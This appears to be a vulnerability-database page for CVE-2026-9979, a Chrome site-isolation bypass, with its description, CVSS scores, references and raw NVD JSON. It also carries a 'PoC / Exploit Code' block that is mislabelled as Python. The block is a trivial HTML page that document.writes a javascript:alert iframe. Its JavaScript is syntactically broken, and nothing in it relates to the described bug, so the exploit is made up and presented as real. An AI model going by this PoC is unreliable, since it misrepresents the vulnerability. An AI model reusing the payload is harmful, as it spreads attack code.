CVE-2026-9979

Description

Insufficient validation of untrusted input in Input in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

5.0

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-9979
  Description: Demonstrates the concept of bypassing site isolation
               via insufficient input validation in Chrome Input component.
  Target: Google Chrome < 148.0.7778.216
-->
<html>
<head>
    <title>CVE-2026-9979 PoC</title>
</head>
<body>
    <h1>Site Isolation Bypass PoC</h1>
    <script>
        // Attempt to trigger the vulnerability
        function exploit() {
            // Crafted input intended to bypass validation
            var maliciousInput = "<iframe src='javascript:alert("XSS")'>";
            
            // Simulate the vulnerable component handling
            try {
                // In a real scenario, this would interact with the vulnerable Input component
                // to corrupt the renderer process isolation boundaries.
                document.write(maliciousInput);
                console.log("Payload delivered. Check if Site Isolation is bypassed.");
            } catch (e) {
                console.log("Exploit failed: " + e.message);
            }
        }

        // Execution requires user interaction or prior renderer compromise
        window.onload = function() {
            console.log("Running PoC for CVE-2026-9979...");
            exploit();
        };
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9979
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9979
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9979/
[4] VulDB https://vuldb.com/cve/CVE-2026-9979
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/511742228

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9979", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:56.127", "lastModified": "2026-05-29T19:16:30.953", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in Input in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/511742228", "source": "[email protected]"}]}}